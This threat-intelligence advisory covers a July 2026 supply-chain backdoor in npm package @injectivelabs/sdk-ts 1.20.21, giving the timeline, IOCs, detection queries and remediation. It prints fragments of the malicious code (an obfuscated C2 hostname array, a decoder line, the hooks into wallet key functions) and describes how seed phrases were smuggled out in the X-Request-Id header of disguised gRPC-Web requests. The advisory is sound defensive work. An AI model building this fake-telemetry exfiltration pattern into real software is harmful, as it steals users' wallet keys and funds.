@injectivelabs/sdk-ts Supply Chain Backdoor — Wallet Credential Theft Disguised as Telemetry
@injectivelabs/sdk-ts Supply Chain Backdoor (TL-2026-2366) is a critical-severity supply-chain compromise scored CVSS 9.3, first published 2026-07-09. It has no confirmed attribution, affects Injective Labs @injectivelabs/sdk-ts, maps to 11 MITRE ATT&CK techniques (T1027, T1036, T1048), and is covered by 9 detection rules and 21 indicators of compromise.
Key facts for TL-2026-2366
- Threat ID
- TL-2026-2366
- Severity
- CRITICAL
- CVSS
- 9.3
- Status
- ACTIVE
- Category
- SUPPLY_CHAIN
- First published
- 2026-07-09
- Last reviewed
- 2026-07-09
- Attribution confidence
- LOW
- Motivation
- FINANCIAL
- Target sectors
- cryptocurrency, blockchain, fintech, defi, web3, software-development
- Target regions
- Global
- Detection rules
- 9
- Indicators of compromise
- 21
Malware and tooling in @injectivelabs/sdk-ts Supply Chain Backdoor
Malware and tooling: injective-sdk-telemetry-backdoor
On July 8, 2026, a malicious version (1.20.21) of the npm package @injectivelabs/sdk-ts was published after an attacker compromised the maintainer account thomasRalee and pushed three commits directly to the main branch of injective-ts. The malicious code hooked PrivateKey.fromMnemonic() and PrivateKey.fromHex() to exfiltrate BIP-39 mnemonic seed phrases and raw private keys, base64-encoded inside the X-Request-Id HTTP header of POST requests to a dynamically-constructed C2 domain mimicking a legitimate Injective testnet gRPC-Web node. The package has ~175,000 monthly downloads; the malicious version was live for ~49 minutes before being reverted. The C2 endpoint remained live and accepting requests at publication.
How @injectivelabs/sdk-ts Supply Chain Backdoor works
## Incident Overview
On July 8, 2026, an attacker compromised the GitHub and npm account of thomasRalee (thomas.leera@gmail.com), an established maintainer of the @injectivelabs/sdk-ts SDK — the core TypeScript library for the Injective blockchain ecosystem (~175,000 monthly downloads, ~50,000 weekly). The attacker pushed three commits directly to the main branch of the InjectiveLabs/injective-ts repository, adding a 79-line file (src/utils/key-derivation-telemetry.ts) that disguised a credential-stealing backdoor as anonymous SDK telemetry. The malicious version (1.20.21) was published to npm at 20:59:28 UTC via the repository's own GitHub Actions OIDC trusted-publisher workflow (run 28975012939). The attacker simultaneously published 17 sibling @injectivelabs/* packages at 1.20.21, each pinned to the compromised SDK, creating a transitive dependency exposure vector.
## Attack Vector: Maintainer Account Compromise
The attacker gained access to the account of thomasRalee, not a newly created throwaway account but a trusted contributor with established commit history and npm publishing rights. The malicious commits were authored and pushed under thomasRalee's identity with no associated pull request, indicating the attacker had either direct push permissions or bypassed branch-protection rules. The first suspicious activity was a test branch called test-backdoor-check (~18:06 UTC) used to verify write access. The three malicious commits were performed from a machine in the UTC-4 timezone — a timezone scatter-plot analysis showed this was "a timezone never previously used by this user," strongly suggesting a compromised maintainer account rather than an insider.
## Malicious Code: The key-derivation-telemetry.ts Backdoor
The 79-line payload was added at src/utils/key-derivation-telemetry.ts and compiled into dist/esm/accounts-jQ1GSgaW.js and dist/cjs/accounts-Cy0p4lLW.cjs. It was wired into two canonical wallet-construction static methods on the PrivateKey class:
- **PrivateKey.fromMnemonic(words)** — Immediately after the method signature, the attacker inserted trackKeyDerivation('fm', words), capturing the full BIP-39 mnemonic seed phrase (12 or 24 words). This is the master secret for every wallet address derivable from it. - **PrivateKey.fromHex(privateKey)** — The attacker inserted trackKeyDerivation('fh', typeof privateKey === 'string' ? privateKey : 'bytes'), capturing the raw hex private key. If the input was a Uint8Array byte array, the string 'bytes' was sent instead (the full hex key is still passed when the caller converts bytes to hex before calling fromHex, which both EthSecp256k1Wallet.fromKey() and DirectEthSecp256k1Wallet.fromKey() do). - **PrivateKey.generate()** — Indirectly affected because it internally creates a mnemonic and calls fromMnemonic(), meaning a freshly generated wallet could be queued for exfiltration before the caller received the key object.
The MsgBroadcasterWithPk class (transaction broadcaster) imports PrivateKey and calls fromHex() when options.privateKey is not already a PrivateKey object, extending the reach beyond direct wallet-loading code.
The file opened with a deliberately misleading JSDoc comment: "Key derivation telemetry — collects anonymized usage metrics for SDK optimization" and the commit was labeled "chore: add key derivation telemetry for SDK usage analytics" to appear innocuous during code review.
## Exfiltration Mechanism
Captured secrets were pushed into an in-memory queue with a method prefix and timestamp: _q.push(method + ':' + value + ':' + Date.now()). A 2-second debounce timer (setTimeout(..., 2000)) batched multiple derivation events, joining them with pipe characters. On flush:
1. The joined string was base64-encoded: _enc(btoa(value)) 2. The encoded payload was placed in the X-Request-Id HTTP header of a fetch() POST request 3. The request used Content-Type: application/grpc-web+proto to mimic the SDK's normal gRPC-Web traffic 4. The request body was empty (to evade shallow inspection) 5. In browser environments, keepalive: true was set so the request completed even if the page unloaded 6. All errors were silently swallowed with .catch(() => {}) — the backdoor never throws, never logs, never surfaces to the calling application 7. In Node.js environments without fetch(), the code fell back to https.request with the same header shape
## C2 Infrastructure
The C2/exfiltration endpoint was obfuscated as a 48-element JavaScript character-code array:
const _e = [116, 101, 115, 116, 110, 101, 116, 46, 97, 114, 99, 104, 105, 118, 97, 108, 46, 99, 104, 97, 105, 110, 46, 103, 114, 112, 99, 45, 119, 101, 98, 46, 105, 110, 106, 101, 99, 116, 105, 118, 101, 46, 110, 101, 116, 119, 111, 114, 107]; const _d = () => _e.map((x) => String.fromCharCode(x)).join(''); const _ep = 'https://' + _d() + '/';
Decoded: https://testnet.archival.chain.grpc-web.injective.network/
This domain masquerades as a legitimate Injective testnet archival gRPC-Web node. The official testnet endpoint is testnet.sentry.chain.grpc-web.injective.network; the archival subdomain is not publicly documented, but it sits inside the official injective.network domain ecosystem. SlowMist observed the domain resolving to 15.235.87.88 (OVH-Hosting range) during their investigation, with DNS results varying by location and time. Datadog confirmed the endpoint was still accepting requests at publication — they sent a sample payload and received a grpc-status: 12 / "malformed method name: \"/\"" response, consistent with a live gRPC-Web gateway of the same type as Injective's official testnet endpoints.
Note on domain discrepancy: The initial GitHub issue #697 reporter identified the exfiltration destination as hexhole.injective.network, but Datadog's independent reverse-engineering of the code confirmed the runtime-reconstructed hostname is testnet.archival.chain.grpc-web.injective.network. Both domains are included as IOCs.
## Scope and Impact
- **Package downloads**: ~175,000 monthly; ~50,000 weekly; malicious version downloaded ~310 times per official npm stats - **Exposure window**: ~49 minutes (20:59:28 UTC — 21:48:03 UTC on July 8, 2026) - **Directly compromised**: 1 package (sdk-ts) - **Transitive exposure**: 17 sibling packages published at 1.20.21 pinning the malicious SDK - **Dependent packages**: 87 direct dependents; cumulative ~112,000 downloads across the ecosystem - **Impact**: Complete wallet compromise — any BIP-39 mnemonic or private key passed through the affected version during the window must be treated as compromised. The attacker can derive all wallet addresses and keys from the stolen seed phrase and drain funds. - **No CVE assigned**: The Snyk advisory SNYK-JS-INJECTIVELABSSDKTS-17911353 (CVSS 9.3 Critical, CWE-506 Embedded Malicious Code) is the primary vulnerability identifier. Snyk labels the exploit maturity as "Attacked" — active exploitation in the wild.
## Detection
Datadog Code Security (Library Inventory) query: library_name:(@injectivelabs/sdk-ts) library_version:(1.20.21)
Datadog Log Management hunt query: @dns.question.name:testnet.archival.chain.grpc-web.injective.network OR @network.destination.domain:testnet.archival.chain.grpc-web.injective.network OR @http.url:*testnet.archival.chain.grpc-web.injective.network*
Behavioral indicators: 1. PrivateKey.fromMnemonic() followed by a POST to a gRPC-Web endpoint pattern 2. PrivateKey.fromHex() followed by a POST to the same endpoint 3. Empty-body POST with Content-Type: application/grpc-web+proto and a high-entropy (base64-looking) X-Request-Id header 4. Function names trackKeyDerivation, _enc, _send, _flush appearing in the runtime
## Remediation
- Upgrade all @injectivelabs packages to 1.20.23 or later (clean release) - Treat any wallet mnemonic or private key passed through the affected version as compromised — rotate keys and migrate funds immediately - Audit lockfiles and package-manager caches for @injectivelabs/sdk-ts@1.20.21 - Search egress/proxy/DNS logs for the exfiltration domain and the X-Request-Id header pattern - The malicious 1.20.21 has been deprecated on npm but not removed; GitHub release artifacts remain available
MITRE ATT&CK techniques used in TL-2026-2366
Defense Evasion
T1027 Obfuscated Files or Information; T1036 Masquerading
Exfiltration
T1048 Exfiltration Over Alternative Protocol; T1048.003 Exfiltration Over Unencrypted Non-C2 Protocol; T1567 Exfiltration Over Web Service
Execution
T1059 Command and Scripting Interpreter; T1059.007 JavaScript
Command and Control
T1071 Application Layer Protocol; T1071.001 Web Protocols
Initial Access
initial-access
Affected products and versions in @injectivelabs/sdk-ts Supply Chain Backdoor
- Injective Labs — @injectivelabs/sdk-ts
Vulnerable versions: 1.20.21
Fixed in: 1.20.23 - Injective Labs — @injectivelabs/wallet-base, wallet-core, wallet-cosmos, wallet-private-key, wallet-evm, wallet-trezor, wallet-cosmostation, wallet-ledger, wallet-wallet-connect, wallet-magic, wallet-strategy, wallet-turnkey, wallet-cosmos-strategy, utils, networks, ts-types, exceptions
Vulnerable versions: 1.20.21 (transitively pinning sdk-ts@1.20.21)
Fixed in: 1.20.23
Remediation for @injectivelabs/sdk-ts Supply Chain Backdoor
Patches
- Upgrade all @injectivelabs packages to version 1.20.23 or later (clean release that removes the exfiltration code)
Immediate actions
- Treat any wallet mnemonic or private key passed through @injectivelabs/*@1.20.21 as compromised; rotate keys and migrate funds to freshly-generated wallets immediately
- Scan package-lock.json / yarn.lock / pnpm-lock.yaml and caches for @injectivelabs/sdk-ts and all 17 sibling packages pinned at 1.20.21
- Hunt egress/proxy/DNS logs for testnet.archival.chain.grpc-web.injective.network and hexhole.injective.network
- Hunt for empty-body POST requests with Content-Type: application/grpc-web+proto and a base64-looking X-Request-Id header
- Verify npm SRI hash sha512-TMEWc0Hw2zA38HnCsLiZPWiwz4mRcDg94B5TDUAolQIXKsnY6xrE61iyffP0WuNZpQTrePCYZXuQFYaRQHFPPA== against any cached sdk-ts@1.20.21 tarball
Workarounds
- Override transitive pins to >=1.20.23 via npm overrides / yarn resolutions / pnpm overrides to block the compromised version from being resolved
- Deprecate or yank @injectivelabs/sdk-ts@1.20.21 from internal registries and CI caches
Longer-term hardening
- Enforce branch protection requiring pull requests with mandatory review for pushes to main/master
- Adopt npm provenance attestation and audit trusted-publisher OIDC workflows for tamper evidence
- Implement SCA / dependency scanning with drift-aware lockfile audit (Socket, Snyk, JFrog Xray)
- Pin exact dependency versions and use registry integrity hashes (SRI) for production builds
- Monitor for maintainer-account anomalies: unusual commit timezones, direct pushes to main, out-of-band version bumps
- Audit all commits pushed by maintainers outside of PR workflows, even under trusted identities
Weaknesses (CWE) in @injectivelabs/sdk-ts Supply Chain Backdoor
CWE-506
Timeline of @injectivelabs/sdk-ts Supply Chain Backdoor
- Clean @injectivelabs/sdk-ts@1.20.23 published at 21:48:03 UTC; malicious 1.20.21 flagged as 'compromised' and deprecated on npm (not removed from the registry); the backdoor was live for approximately 49 minutes; ~310 downloads recorded before deprecation
- The legitimate maintainer (thomasRalee) detects the breach; revert commit 7c4b1a092d8cbbcda469bda5a88db2a742d15b4a titled 'revert: exfiltration telemetry' pushed at 21:16 UTC, removing the payload and all call sites
- Security researchers (Socket, Ox Security, StepSecurity) and community flag the release; GitHub issue #697 opened by reporter nullcharb documenting trackKeyDerivation('fm', words)/('fh', privateKey) exfiltration to a disguised Injective-lookalike endpoint
- Malicious @injectivelabs/sdk-ts@1.20.21 published to npm at 20:59:28 UTC via the repository's GitHub Actions OIDC trusted-publisher workflow (run 28975012939); 17 sibling @injectivelabs packages also published at 1.20.21, each pinning the compromised sdk-ts as a dependency
- Two follow-up commits pushed directly to main: fd105db9073a21a3b58d5bd32622204ec8b57993 (formatting fix for CI lint, 20:48 UTC) and 5486f13e799d9c90095c5f581a04ad867d768f66 (version bump triggering CI publish, 20:54 UTC); release commit c82639921b186d09238817764faf86bc838355d4 at 20:56:33 UTC
- First malicious commit 01219285b16ce85c70cdf47a71a551ff5e41f1ed pushed directly to main — adds src/utils/key-derivation-telemetry.ts (79 lines) and wires trackKeyDerivation('fm', words) / trackKeyDerivation('fh', privateKey) into PrivateKey.fromMnemonic() and PrivateKey.fromHex() (20:24 UTC)
- Attacker, using the compromised thomasRalee account, creates a test branch called test-backdoor-check and makes suspicious commits to verify write access to the InjectiveLabs/injective-ts repository (~18:06 UTC)
- Snyk publishes advisory SNYK-JS-INJECTIVELABSSDKTS-17911353 (CVSS 9.3 Critical, CWE-506 Embedded Malicious Code), noting active exploitation attempts in the wild; BleepingComputer and other outlets cover the incident; the malicious build files are fingerprinted
- Datadog Security Labs publishes full reverse-engineering analysis — decodes the runtime-reconstructed C2 hostname testnet.archival.chain.grpc-web.injective.network from the 48-element char-code array; confirms the X-Request-Id header exfiltration mechanism and that the endpoint was still accepting gRPC-Web requests (received grpc-status: 12 response)
- SlowMist Threat Intelligence reports the exfiltration domain resolved to 15.235.87.88 (OVH-Hosting range) during their investigation; notes DNS results vary by query location and time, and that the domain sits within Injective's official domain ecosystem — no evidence the official infrastructure itself was compromised
- JFrog Research publishes deep code-path analysis: confirms the 2-second debounce flush, base64 X-Request-Id transport, call-path reachability via MsgBroadcasterWithPk and EthSecp256k1Wallet, and the full list of 18 affected packages; JFrog Curation flags all hijacked packages via immaturity policy
Sources cited for @injectivelabs/sdk-ts Supply Chain Backdoor
- Not-so-anonymous telemetry: The @injectivelabs/sdk-ts backdoor — Datadog Security Labs
- GitHub Issue #697 — injective-ts compromise report
- Snyk Advisory SNYK-JS-INJECTIVELABSSDKTS-17911353
- Compromised Injective SDK npm Package Exfiltrates Wallet Keys — Socket
- Injective SDK Compromise: Crypto Wallet Keys Stolen Through Fake Telemetry — JFrog Research
- 18 Packages Backdoored to Steal Crypto Wallet Keys — StepSecurity
- Injective SDK on npm infected with cryptocurrency wallet stealer — BleepingComputer
- Threat Intelligence: Injective SDK Compromised — SlowMist
- Injective SDK npm Wallet Key Exfiltration — Corgea Research
- Compromised @injectivelabs/sdk-ts exfiltrates wallet keys — Aikido
- Injective nmp SDK Backdoored to Steal Wallet Keys — SigIntZero
- @injectivelabs/sdk-ts — npm registry
More in supply chain
- Re-Enabled actions-cool GitHub Actions (issues-helper, maintain-one-comment) Resume Executing Mini Shai-Hulud CI/CD Credential-Theft Payload
- Google Cloud Threat Intelligence: Supply Chain Compromise Campaigns and Mitigation Guidance (2025-2026)
- Adform Ad-Tech Platform Compromised: Trojanized Tracking Script Serves Crypto Clipboard Stealer via Supply-Chain Attack
- DPRK-Linked Graphalgo Campaign Abuses HashiCorp Terraform Registry with Malicious Providers and Go Modules to Deliver Go RAT with Slack and Arbitrum Sepolia Blockchain C2
- GHAPPIER Loader: npm Trusted-Publishing Abuse Compromises @dforge-core/dforge-mcp
Detection coverage for TL-2026-2366
As of 2026-07-09, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-2366 across Splunk SPL, Microsoft KQL and Sigma, covering 21 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.